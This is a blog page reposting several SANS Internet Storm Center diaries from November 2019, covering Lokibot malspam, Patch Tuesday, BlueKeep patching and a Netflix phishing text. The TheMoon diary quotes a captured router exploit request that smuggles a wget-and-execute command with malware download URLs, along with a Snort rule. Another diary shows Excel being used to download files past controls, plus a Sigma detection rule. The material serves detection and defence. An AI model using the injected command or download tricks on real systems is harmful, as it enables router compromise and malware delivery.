Blog

Archive for 2019

An example of malspam pushing Lokibot malware, November 2019, (Wed, Nov 13th)

Introduction

I posted two diaries last year (2018) about Lokibot malware (sometimes spelled “Loki-bot”).  One was in June 2018 and one was in December 2018.  It’s been a while, so I wanted to share a recent example that came to my blog’s admin email on Tuesday 2019-11-12.

The email

You can get a copy of the sanitized email from this Any.Run link.


Shown above:  A copy of the email opened in Thunderbird.

The attachment was a RAR archive (link) and the RAR archive contained a Windows executable file disguised as a PDF document (link).


Shown above:  The attached RAR archive and the extracted Windows executable file.

The infection traffic

Infection traffic is easily detectable by signatures from the EmergingThreats Open ruleset.


Shown above:  Traffic from an infection filtered in Wireshark.


Shown above:  TCP stream from one of the HTTP requests caused by my sample of Lokibot malware.


Shown above:  EmergingThreats alerts from an Any.Run sandbox analysis of the Windows executable file.

Post-infection forensics on an infected Windows host

I was able to infect a Windows 10 host in my lab environment, and Lokibot made itself persistent through the Windows registry.


Shown above:  Lokibot on an infected Windows host.


Shown above:  Windows registry update caused by Lokibot to stay persistent.

Final words

SHA256 hash of the email:

SHA256 hash of the attached RAR archive:

SHA256 hash of the extracted Windows executable file (Lokibot malware):


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

November 2019 Microsoft Patch Tuesday, (Tue, Nov 12th)

Microsoft today patched a total of 74 vulnerabilities. This patch Tuesday release also includes two advisories. 15 of the vulnerabilities are rated critical.

Two vulnerabilities had been disclosed prior to today, and one critical scripting engine vulnerability has already been exploited in the wild. The vulnerability, CVE-2019-1429, may lead to remote code execution due to memory corruption in the scripting engine. All current versions of Windows / Internet Explorer are affected. This is probably the most important issue you need to patch. At the recent “Pwn2Own” contest in Tokyo, JavaScript engine issues were used to breach anything from smart TV to smartphones via not-so-smart browsers.

The first publicly disclosed problem, a confidentiality issue with Trusted Platform Module (TPM) chip firmware, is probably not as severe. It only affects the ECDSA algorithm, which isn’t used in Windows so far. Patching this issue will be difficult. You will need to update the TPM firmware (and the page Microsoft links to with details from the TPM manufacturer is down right now). Once updated, you need to re-enroll into security services. 

The second publicly known vulnerability affects the Microsoft Office Click-to-Run system (C2R). A crafted file could abuse these components to escalate privileges and execute code as System.

 

 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Azure Stack Spoofing Vulnerability
%%cve:2019-1234%% No No Important    
DirectWrite Information Disclosure Vulnerability
%%cve:2019-1432%% No No Important 4.4 4.0
%%cve:2019-1411%% No No Less Likely Less Likely Important 4.4 4.0
Hyper-V Remote Code Execution Vulnerability
%%cve:2019-0719%% No No Less Likely Less Likely Critical 8.0 7.2
%%cve:2019-0721%% No No Less Likely Less Likely Critical 8.0 7.2
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-1406%% No No Less Likely Less Likely Important 6.7 6.0
Latest Servicing Stack Updates
ADV990001 No No Critical    
Microsoft ActiveX Installer Service Elevation of Privilege Vulnerability
%%cve:2019-1382%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2019-1413%% No No Important 4.3 3.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2019-1446%% No No Less Likely Less Likely Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2019-1448%% No No Less Likely Less Likely Important    
Microsoft Exchange Remote Code Execution Vulnerability
%%cve:2019-1373%% No No Less Likely Less Likely Critical    
Microsoft Guidance for Vulnerability in Trusted Platform Module (TPM)
ADV190024 Yes No      
Microsoft Office ClickToRun Security Feature Bypass Vulnerability
%%cve:2019-1449%% No No Less Likely Less Likely Important    
Microsoft Office Excel Security Feature Bypass
%%cve:2019-1457%% Yes No Important    
Microsoft Office Information Disclosure Vulnerability
%%cve:2019-1402%% No No Less Likely Less Likely Important    
Microsoft Office Online Spoofing Vulnerability
%%cve:2019-1445%% No No Important    
%%cve:2019-1447%% No No Important    
Microsoft Office Security Feature Bypass Vulnerability
%%cve:2019-1442%% No No Important    
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2019-1443%% No No Less Likely Less Likely Important    
Microsoft Windows Information Disclosure Vulnerability
%%cve:2019-1381%% No No Less Likely Less Likely Important 6.6 5.9
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
%%cve:2019-1430%% No No Critical 7.3 6.6
Microsoft Windows Security Feature Bypass Vulnerability
%%cve:2019-1384%% No No Less Likely Less Likely Important 8.5 7.6
Microsoft splwow64 Elevation of Privilege Vulnerability
%%cve:2019-1380%% No No Less Likely Less Likely Important 7.8 7.0
NetLogon Security Feature Bypass Vulnerability
%%cve:2019-1424%% No No Less Likely Less Likely Important 8.1 7.3
Open Enclave SDK Information Disclosure Vulnerability
%%cve:2019-1370%% No No Less Likely Less Likely Important 7.0 6.3
OpenType Font Driver Information Disclosure Vulnerability
%%cve:2019-1412%% No No Important 5.0 4.5
OpenType Font Parsing Remote Code Execution Vulnerability
%%cve:2019-1456%% No No Important 7.8 7.0
%%cve:2019-1419%% No No Less Likely Less Likely Critical 7.8 7.0
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-1429%% No Yes Detected Detected Critical 6.4 5.8
%%cve:2019-1426%% No No Critical 4.2 3.8
%%cve:2019-1427%% No No Critical 4.2 3.8
%%cve:2019-1428%% No No Critical 4.2 3.8
VBScript Remote Code Execution Vulnerability
%%cve:2019-1390%% No No More Likely More Likely Critical 6.4 5.8
Visual Studio Elevation of Privilege Vulnerability
%%cve:2019-1425%% No No Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2019-1434%% No No Important 7.0 6.3
%%cve:2019-1393%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1394%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1395%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1396%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1408%% No No More Likely More Likely Important 7.8 7.0
Win32k Graphics Remote Code Execution Vulnerability
%%cve:2019-1441%% No No Critical 6.7 6.0
Win32k Information Disclosure Vulnerability
%%cve:2019-1436%% No No More Likely More Likely Important 5.5 5.0
%%cve:2019-1440%% No No Less Likely Less Likely Important 5.0 4.5
Windows AppX Deployment Extensions Elevation of Privilege Vulnerability
%%cve:2019-1385%% No No Less Likely Less Likely Important 7.8 7.0
Windows Certificate Dialog Elevation of Privilege Vulnerability
%%cve:2019-1388%% No No Less Likely Less Likely Important 7.8 7.0
Windows Data Sharing Service Elevation of Privilege Vulnerability
%%cve:2019-1417%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1379%% No No Important 7.8 7.0
%%cve:2019-1383%% No No Important 7.8 7.0
Windows Denial of Service Vulnerability
%%cve:2018-12207%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-1391%% No No Less Likely Less Likely Important 5.5 5.0
Windows Elevation of Privilege Vulnerability
%%cve:2019-1420%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1422%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1423%% No No Important 7.8 7.0
Windows Error Reporting Information Disclosure Vulnerability
%%cve:2019-1374%% No No Less Likely Less Likely Important 5.5 5.0
Windows GDI Information Disclosure Vulnerability
%%cve:2019-1439%% No No Less Likely Less Likely Important 4.7 4.2
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2019-1433%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-1435%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1437%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1438%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1407%% No No Important 7.8 7.0
Windows Hyper-V Denial of Service Vulnerability
%%cve:2019-0712%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1309%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1310%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1399%% No No Less Likely Less Likely Important 5.4 4.9
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2019-1389%% No No Critical 7.6 6.8
%%cve:2019-1397%% No No Less Likely Less Likely Critical 7.6 6.8
%%cve:2019-1398%% No No Less Likely Less Likely Critical 7.6 6.8
Windows Installer Elevation of Privilege Vulnerability
%%cve:2019-1415%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-1392%% No No Important 7.0 6.3
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-11135%% No No Less Likely Less Likely Important 4.7 4.2
Windows Modules Installer Service Information Disclosure Vulnerability
%%cve:2019-1418%% No No Less Likely Less Likely Important 3.5 3.2
Windows Remote Procedure Call Information Disclosure Vulnerability
%%cve:2019-1409%% No No Less Likely Less Likely Important 5.5 5.0
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2019-1416%% No No Less Likely Less Likely Important 7.8 7.0
Windows TCP/IP Information Disclosure Vulnerability
%%cve:2019-1324%% No No Less Likely Less Likely Important 5.3 4.9
Windows UPnP Service Elevation of Privilege Vulnerability
%%cve:2019-1405%% No No Less Likely Less Likely Important 7.8 7.0


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Are We Going Back to TheMoon (and How is Liquor Involved)?, (Mon, Nov 11th)

Earlier today, we received an email from an analyst for a large corporation. He asked:

After setting up a dashboard to monitor for worm related traffic, a series of Suricata alerts began to fly in relation to ‘The Moon.’ These devices may have been vulnerable around the time that this article was written, and it is entirely possible that this has gone unnoticed. The traffic definitely seems to fit the profile, although, too few observations of this malware have been published to really compare and confirm from simple network analysis.

We wrote about the “Moon” worm back in 2014, over five years ago. So is this worm still making the rounds? I do indeed see a lot of “TheMoon” alerts in my logs. The one that fires the most is snort ID 29831: “SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt.”
“TheMoon” infected Linksys devices. It took advantage of a vulnerability in the tmUnblock.cgi CGI script. The signature is looking for requests to that specific URL:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt"; flow:established,to_server; content:"/tmUnblock.cgi"; fast_pattern:only; http_uri; content:"ttcp_ip"; http_client_body; pcre:"/ttcp_ip=.*?([x60x3bx7c]|[x3cx3ex24]x28|%60|%3b|%7c|%26|%3c%28|%3e%28|%24%28)/Pim"; metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:url,isc.sans.edu/diary/Linksys+Worm+%28%22TheMoon%22%29+Captured/17630; classtype:attempted-admin; sid:29831; rev:3;)

The reference to the rule links to a diary from five years ago with the related attack traffic. To compare, I have traffic I captured recently against a honeypot:

POST /tmUnblock.cgi HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Liquor 1.0
Content-Length: 312
Content-Type: application/x-www-form-urlencoded

ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+loli%3B+wget+http%3A%2F%2Fardp.hldns.ru%2Floligang.mpsl%3B+chmod+777+loligang.mpsl%3B+.%2Floligang.mpsl+loligang.mpsl.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

The payload is pretty much still the same. It again exploits the “tmUnblock/ttcp_ip” issue. Unlike the earlier exploit, the newer payload does not use an Authorization header. As we learned back with the original TheMoon, the authorization header was kind of optional, or at least the credentials didn’t have to match the actual credentials for the router. The exploit looks a bit more streamlined but other than that similar. 

The second stage turns out to be challenging to recover. I wasn’t able to connect to any of the recent download URLs. Sometimes these sites will only allow connections from IPs they scanned previously. Or they may just no longer be up and running. Here are some URLs I have seen in the last couple of days:

http://147.135.124.113/bins/linksys.cloudbot
http://142.44.251.105/mipsel
http://159.89.182.124/ankit/jno.mpsl
http://185.172.110.220/mipsel
http://ardp.hldns.ru/loligang.mpsl;

The user agent (Liquor 1.0) is also somewhat unique for this version, and used in other exploits against routers as well (e.g., some GPON exploits). I have only seen these exploits against port 8080, the default Linksys port. 
So what should you do? Likely, it is safe to ignore these scans. Unless a router responds (a tool like Zeek should quickly tell you if it does), I would ignore them or even turn off the signature. As soon as you have a web server listening on port 8080, you will see these scans. Of course, it can’t hurt to set up a rule looking for outbound traffic to make sure you are not the home to any infected devices. A regular vulnerability scan of your network should also quickly identify vulnerable systems.


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Did the recent malicious BlueKeep campaign have any positive impact when it comes to patching?, (Sun, Nov 10th)

After a news of “mass exploitation” of a specific vulnerability hits mainstream media, even organizations that don’t have a formal (or any) patch management process in place usually start to smell the ashes and try to quickly apply the relevant patches. Since media coverage of the recent BlueKeep campaign was quite extensive, I wondered whether the number of vulnerable machines would start diminishing significantly as a result.

BlueKeep[1] has been with us for a while now. And although pretty much everyone in the security community expected/expects to see the vulnerability used to spread a worm (as it was with WannaCry and EternalBlue), this hasn’t happened so far. However on November 2nd, information about a – potentially significant – BlueKeep exploitation campaign was published[2], which at first seemed to indicate that just such a worm might be loose in the wild[3]. Although it turned out not to be a self-spreading malware, but a campaign in which the attackers used the Metasploit BlueKeep exploit (or an exploit similar to that one), many news sources reported on the attacks which managed to bring the vulnerability to the spotlight again. A question occurred to me at that point – was this scare enough to push those who still didn’t apply the patches to do so now?

Although without being able to directly scan all the potentially vulnerable machines in existence it is hard to say whether the media coverage had any definitive impact when it comes to patching, we can get some idea about the state of affairs before and after the campaign from Shodan. Or – to be exact – from data gathered from it over time. Since Shodan can identify some vulnerabilities (including %%cve:CVE-2019-0708%%/BlueKeep) in the systems it scans, determining how many BlueKeep vulnerable systems are connected to the internet[4] at any time should be quite straight-forward. However given the way Shodan works, this is not completely true.

Shodan scans different IP ranges over time in batches, which is why there may be significant peaks (lots of “new” vulnerable systems/systems with open ports in a scanned IP range) or valleys (lots of systems previously detected as vulnerable have been patched/their ports have been closed) in the data. Due to this behavior of Shodan, if we take a look at a chart of the number of detected BlueKeep vulnerable systems over the last two months, the results wouldn’t tell us much.

Luckily, with little context, we can make a bit more sense of the data. Although getting an exact absolute number of vulnerable systems is impossible, we can compare the number of vulnerable systems with the number of all systems responding on %%port:3389%% and get an approximate percentage of actually vulnerable/unpatched systems connected to the internet when compared to all potentially vulnerable systems connected to the internet. Although this is still far from exact, it can give us a much better idea of the state of affairs, as the following chart shows. It should be mentioned at this point that percentages of vulnerable systems vary widely across different countries[5].

As we may see, the percentage of vulnerable systems seems to be falling more or less steadily for the last couple of months and it appears that media coverage of the recent campaign didn’t do much to help it. And since there still appear to be hundreds of thousands of vulnerable systems out there, we have to hope that the worm everyone expects doesn’t arrive any time soon…

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Fake Netflix Update Request by Text, (Sat, Nov 9th)

In the past week, I have received texts asking to update my Netflix account information. It is obvious the URL listed in the text isn’t Netflix. The text looks like this:

I downloaded the URL to see what the website look like using wget nfca03-novm19-h13[.]com which resolves to 146.0.76.74 located in the Netherlands. The webpage looks interesting but it is obvious it doesn’t look like the real website. The inbound phone number is located in Canada and their real goal is to obtain fraudulent credit card information.

[1] https://whocallsinfo.com/6476146420
[2] https://isc.sans.edu/ipinfo.html?ip=146.0.76.74

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Microsoft Apps Diverted from Their Main Use, (Fri, Nov 8th)

This week, the CERT.eu[1] organized its yearly conference in Brussels. Across many interesting presentations, one of them covered what they called the “cat’n’mouse” game that Blue and Red teams are playing continuously. When the Blue team has detected an attack technique, they write a rule or implement a new control to detect or block it. Then, the Red team has to find an alternative attack path, and so one… A classic example is the detection of malicious via parent/child process relations. It’s quite common to implement the following simple rule (in Sigma[2] format):

logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage:
      - '*WINWORD.EXE'
      - '*EXCEL.EXE'
      - '*POWERPNT.exe'
      - '*MSPUB.exe'
      - '*VISIO.exe'
      - '*OUTLOOK.EXE'
    Image:
      - ‘*powershell.exe'
    condition: selection
fields:
  - CommandLine
  - ParentCommandLine
falsepositives:
  - unknown
level: high

How to read this rule: Generate an alert when a process ‘powershell.exe’ is launched and its parent process is a Microsoft Office tool. To bypass this, the Red team or attackers now can use an alternative path:

Office > WMI > Powershell

Microsoft tools are wonderful because they can be used in many alternative ways and diverted from their main use. Example, to pause a script for 10”, use the ping command:

C:ISC> ping -n 10 127.0.0.1 >NUL:

Much better than using a sleep() function in a malicious script that could trigger a sandbox alert.

How to become “stealthier” (from a network point of view!) when you need to download files from the wild Internet? How to grab files when you don’t have access to a regular browser? Most of the Microsoft tools accept URLs as file names.

Let’s load a text file via Excel. It accepts filenames as argument and filenames can be URLs:

C:Program Files (x86)Microsoft OfficerootOffice16>excel.exe https://blog.rootshell.be/robots.txt

All text files are directly loaded into Excel cells (1 line = 1 cell):

It is also possible to download binary files :

C:Program Files (x86)Microsoft OfficerootOffice16>excel.exe https://blog.rootshell.be/wp-content/uploads/2015/12/isc.jpg

When the binary file is loaded in Excel, you can’t “see” it:

But the good news, a copy of the file is saved locally in the following directory:

%USERPROFILE%AppDataLocalMicrosoftWindowsINetCacheIE...

Tip: Those directories are hidden!

From a network evidence point of view, the HTTP request is performed with a specific User-Agent:

 - - [07/Nov/2019:16:40:38 +0100] “GET /wp-content/uploads/2015/12/isc.jpg HTTP/1.1" 200 5031 "-" "Microsoft Office Excel 2014”

If you try to fetch a more sensitive file like a PE file, you will get a warning from Excel:

C:Program Files (x86)Microsoft OfficerootOffice16>excel.exe https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe

But the file will be downloaded anyway and available in the same directory!

No magic behind this, all Microsoft apps are compatible with HTTP objects and can GET/PUT/POST data. It’s not bullet-proof and can be easily detected but, as I said above, it means more work for the Blue team that needs to track this behavior. It’s an easy way to bypass a light AppLocker setup that would prevent users to execute a browser on a sensitive workstation.

[1] https://cert.europa.eu
[2] https://github.com/Neo23x0/sigma

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 51 12345...»